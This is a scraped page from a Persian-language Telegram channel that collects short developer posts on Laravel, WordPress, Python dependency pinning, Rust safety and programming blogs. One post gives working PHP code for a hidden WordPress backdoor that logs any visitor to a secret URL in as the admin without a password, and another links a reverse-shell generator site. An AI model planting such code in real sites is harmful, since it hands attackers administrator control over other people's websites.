Dev Perfects
40 subscribers
9.23K photos
1.26K videos
468 files
13K links
بخوام خیلی خلاصه بگم
این کانال میاد مطالب کانالای خفن تو حوزه تکنولوژی و برنامه نویسی رو جمع میکنه

پست پین رو بخونید
https://t.iss.one/dev_perfects/455


ارتباط:
https://t.iss.one/HidenChat_Bot?start=936082426
Download Telegram
توی توسعه دیتابیس، انتخاب نوع داده‌ها یکی از بخش‌های مهم و حساسه. امروز یه چیت شیت و از انواع ستونهای عددی و متنی در Laravel آوردم تا راحتتر تصمیم‌گیری کنیم که چه نوعِ داده‌ای، برای داده مدنظرمون کاربردی و مناسب‌تره

این چیت شیت برای کسانی که مثل من از حافظه کوتاه‌مدت رنج میبرن (دلیلی که باعث شد اصلا به فکر ساخت این چیت شیت بیوفتم)، میتونه بیشتر از بقیه دوستان مفید باشه

@DevTwitter | <Amir Asgary/>
اگر دوست داشتید Reverse Shell رو پیگیری کنید. هکر کاری می‌کنه که سیستم قربانی خودش به سمت هکر وصل بشه و می‌تونه کنترل سیستم رو از راه دور به دست بگیره. اینطوری فایروال ها خیلی کمتر جلوش رو میگیرن.

https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/

این هم سایت باحالی بود در این زمینه
https://revshells.com

با تشکر از دوست قديميم امیر میرزایی عزیز #ارسالی
طلایی ترین لیست وبلاگ‌ها برنامه نویسان شرکت‌های بزرگ دنیا مثل Google و . . .
در این لیست افرادی که تجربه کار کردن در شرکت‌های بزرگ دارند اسم و لینکشون آورده شده

نفراول :
برنامه نویس شرکت TripAdvisor
هم مقالات فنی و هم مهارت نرم رو پوشش میده
https://dandreamsofcoding.com/

نفر دوم :
خالق الگوریتمی که در تمامی سیستم های recommender در شرکت بزرگ ازش استفاده میشه
https://lemire.me/blog/

نفر سوم :
از ایشون مگه بالاتر داریم ؟ CEO شرکت Stack overflow
https://www.joelonsoftware.com/

نفر چهارم :
مهندس نرمافزار گوگل و خالق چند تا از بزرگترین پروژه‌های Open Source جهان
https://latedev.wordpress.com/

نفر پنجم :
یک از تاثیر گذاران محبوبیت Linux
https://www.linux.org/forums/

نفر ششم :
برنامه نویس Google و نوسینده چند کتاب مشهور در دنیا
https://www.jeremykun.com/

نفر هفتم :
خالق Viaweb نوسینده بزرگ در حیطه برنامه نویسی
https://paulgraham.com/articles.html

نفر هقتم :
متخصص و Director شرکت Huawei
https://www.yegor256.com/

نفر هشتم :
یک متخصص به تمام معنا
https://prog21.dadgum.com/

نفر نهم :
نوسینده کتاب Clean Code
https://blog.cleancoder.com/

نفرم دهم :
مهندس گوگل
https://stevehanov.ca/blog/

نفرم یازدهم :
مهندس شرکت Uber
https://blog.pragmaticengineer.com/

@DevTwitter | <Soheib Kiani/>
Forwarded from Meitix
۶۰ ۷۰ درصد باگ های امنیتی که ریپورت میشه بخاطر بحث پوینتر و رفرنس این داستانس. میرن تو یه خونه از رم یه چیز مینویسن.

علت اینکه rust میگن safeه همینه Ownershipاشه
Forwarded from Yasha
مسابقه الگوریتمی codocodile.ir که قراره تو دانشگاه شریف برگزار شه رو اومدم شرکت کنم دیدم فقط از زبانای C و Java و Python و ++C پشتیبانی میشه. آخه چرا باید زبان‌های برنامه نویسی یه مسابقه محدود باشه؟ الان مثلا با Go یا Js نمیشه الگوریتم حل کرد؟🙄
بریکس پی رونمایی شده و اگر رفتید کشور های عضو بریکس میتونید از فروشگاهی که از این کارت پشتیبانی میکنن خرید کنید

کشور های عضو بریکس

چین
روسیه
مصر
ایران
عربستان
امارات
برزیل
افریقای جنوبی
اتیوپی


و 17 کشور زیر به‌طور رسمی درخواست عضویت داده اند

البته یه زمانی هتزنر آلمان اومد به ایرانی ها حساب داد ایرانی ها پول پرداخت نکردن الان هیچ ایرانی رو تایید نمیکنه

کاری نکنید پرتمون کنن بیرون تا اگر خرید آنلاینم باز شد بتونید استفاده کنید

@poinair پوینا
This media is not supported in your browser
VIEW IN TELEGRAM
کسی نمیخواد دوست ما بشه ؟

اگر هستی بسم‌الله، پی‌وی پیام بده رفیق ؛)

#️⃣ #me

🫶 𝗖𝗛𝗔𝗡𝗡𝗘𝗟  |  𝗚𝗥𝗢𝗨𝗣
بکدور های مدرن وردپرس (قسمت اول) ورود بدون پسورد و نام کاربری

از گذشته تا کنون بکدور های وردپرس پیشرفته و پیشرفته تر شدن اما به مرور زمان پیدا کردن و شناسایی بکدور ها سخت و سخت تر شده در قسمت هایی میخواهیم به بررسی بکدور های جدید وردپرس بپرداریم و ببینم چه اتفاقاتی افتاده

بکدور اول : این کد رو فاکشن قالب خودتون بزارید و جای عدد 1 آیدی ادمین وردپرستون رو قرار بدید

function auto_login_via_url() { if (!is_user_logged_in()) {if (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] == '/poina') {$user_id = 1;wp_set_auth_cookie($user_id, true);wp_redirect(home_url());exit(); }}}add_action('init', 'auto_login_via_url');

سپس هر سایتی دارید این لینک رو باز کنید

site.com/poina

جای site.com آدرس سایت خودتون بزارید

میبنید که بدون هیچ پسورد و نام کاربری به پیشخوان وردپرس لاگین میکنید البته وقت بشه راه های جلوگیری هر کدوم رو تک تک میگیم

@poinair پوینا
Forwarded from Dev (♪ Ayhan)
github.com/ayhan-dev/bot_telegram_php

فردا نسخه جدید v.2.2 عرضه میشه
ساعت 5 بعد از ظهر میتونید از طریق ترمینال آپدیت کنید
prol update bot_telegram_php th47yfyk

نظری پیشنهاد داشتید بگید

@Ayhan_dev
Forwarded from Golden Code (علی 🇨🇴)
در لاراول، میتونیم یک متود ماکرو به نام response()->api() بسازیم که response های JSON رو ساده‌تر کنه !

این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظم‌تر و مدیریتش هم راحت‌تر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35
👍1
Forwarded from 🎄 یک برنامه نویس تنبل (The Lazy Raymond)
🔶 ۱۱ سال از راه اندازی وب سایت وایرناب می گذره


https://www.wirenab.ir/

این وب سایت در ۱۱ سال پیش که راه اندازی کردم و در یک سال بعد به ارزش ۱۵۰۰۰۰ تومان فروختم.

با همان ظاهر قالب صحیفه و وردپرس نسخه ۴ هست و صاحب این وب سایت هیچ وقت محتوا به روز نکرده و به حال خود رها کرده است.

چه زود گذشت.

#وردپرس

@TheRaymondDev
Forwarded from Sadra Codes
Forwarded from Sadra Codes
به هیچی دست نزدی ولی یهو بعد از یه مدت، کل سیستم Fail میشه و هیچی درست کار نمی‌کنه!!

یه مشکل خیلی عجیب توی یه سری از اکشن‌هایی که با pyaction نوشته بودم رخ داد و اونم این بود که اکشن بدون هیچ دلیلی موقع نصب requirementها Fail می‌شد! عملا به هیچی دست نزده بودم.

مشکل رو می‌گم، خودتون بسطش بدید و سعی کنید خیلی توی اینجور موارد حواستون باشه. من توی اکشن‌ها از داکر ایمیج python:3-slim استفاده می‌کنم. سبک و سریعه و بدون مشکل روی رانر گیت‌هاب میاد بالا. مشکل از این قراره که تا ۲-۳ هفته پیش، این ایمیج پایتون ۳.۱۲ رو نصب می‌کرد و بدون مشکل dependencyها نصب می‌شدن. بعد از استیبل شدن پایتون ۳.۱۳ یهو این ایمیج تصمیم می‌گیره که سوییچ کنه روی این نسخه و روی رانر، پایتون ۳.۱۳ رو نصب کنه. خب تا اینجاشم اوکیه. (چون پایتون ۴ نیس. 😁)

این تغییر به ظاهر اوکیه ولی یک سری از requirementهایی که داریم یکم low-levelتر هستن و بخش‌هاییشون ممکنه با راست نوشته شده باشه، کامپایل کد سی باشه حتی که باعث میشه اون نسخه خاص از پکیج صرفا با پایتون ۳.۱۲ هم‌خوانی داشته باشه و نه چیز دیگه‌ای واسه همین موقع نصب، به مشکل می‌خورد و کل ورکفلو Fail میشد.

نتیجه:
سعی کنید دپندنسی‌هاتون رو اینجوری ننویسید:
foo
baz
bar

اینطوری بنویسید:
foo == 1.2.3
bar >= 1.2
baz ~= 1.2.1

یا مثلا توی مورد من، بهتر بود که داکرفایلم اینطوری شروع میشد:
FROM python:3.12-slim

نه اینجوری:
FROM python:3-slim
Forwarded from کدنویس یکروزه (𝕻𝖊𝖉𝖗𝖆𝖒 𝕽𝖆𝖍𝖎𝖒𝖎)
تشخیص خودکار حرکت و عکاسی

برنامه ای جالب با پایتون توسط استاد داریوش تصدیقی برای ایجاد یک موشن دیتکتور در اتاق کار!
با هر وبکم به راحتی این برنامه رو به کار بندازین و تغییرات اتاق رو عکاسی و نگهداری کنید!

https://t.iss.one/DT_PYTHON_LEARNING/137
Forwarded from 🎄 یک برنامه نویس تنبل (The Lazy Raymond)
🔶 چگونه محتوای مربوط به Post Type و Post در آرشیو وردپرس نمایش دهیم؟

کد زیر :

<?php
if(is_post_type_archive( 'course' ) || is_tax('course_cat') || is_tax('course_tag')){
$args=array(
'post_type'=>'course',
'posts_per_page'=>10
);
$loop = new WP_Query($args);
while($loop->have_posts()) {
$loop->the_post();
?>
For Post Types.
<?php }
}elseif(have_posts()){
while(have_posts()){
the_post();
?>
For Posts.
<?php }
}
?>


این کمک می کند که محتوایی مخصوص Post و Post Type با طراحی مختلف باکس ها نمایش دهید.


#وردپرس

@TheRaymondDev
‏یه دوستی دارم یه طوری بهم میگفت اره مونگو و ند روی تعداد یوزر بالا کم میاره که یک سال باورم شده بود و سمت مونگو برای nodejs نرفتم .

الان دارم می بینم احمق در جریان ایندکس کردن ها نبوده

<یه جورایی V هستم📸/>

@DevTwitter